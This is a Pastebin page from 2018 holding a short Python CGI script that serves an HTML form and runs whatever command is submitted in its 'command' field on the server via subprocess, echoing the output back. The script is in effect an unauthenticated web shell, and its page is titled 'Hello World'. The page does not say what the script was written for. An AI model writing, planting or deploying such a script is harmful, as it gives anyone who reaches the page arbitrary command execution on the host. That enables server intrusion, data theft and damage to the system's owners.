Advertisement
Guest User

jeje.py

a guest
Mar 17th, 2018
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.91 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import cgi
  4. import subprocess
  5.  
  6. import cgitb
  7. cgitb.enable()
  8.  
  9. def run(command):
  10. if not command:
  11. raise Exception("Commande vide")
  12. else:
  13. p = subprocess.Popen(command.split(), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  14. p.wait()
  15. out, err = p.communicate()
  16. return out
  17.  
  18. print "Content-Type: text/html"
  19. print
  20. print "<html>"
  21. print "<head>"
  22. print "<title>Hello World</title>"
  23. print "</head>"
  24. print "<body>"
  25. print "<form method='post' action='shell.py'>"
  26. print "<input type='text' name='command' />"
  27. print "<input type='submit' value='submit' />"
  28. print "</form>"
  29.  
  30. form = cgi.FieldStorage()
  31. if 'command' in form:
  32. cmd = form['command'].value
  33. print "<font face='monospace'>"
  34. print "$ %s" % cmd
  35. print "<br>"
  36. for i in run(cmd).split('\n'):
  37. print i, "<br>"
  38. print "</font>"
  39.  
  40. print "</body>"
  41. print "</html>"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement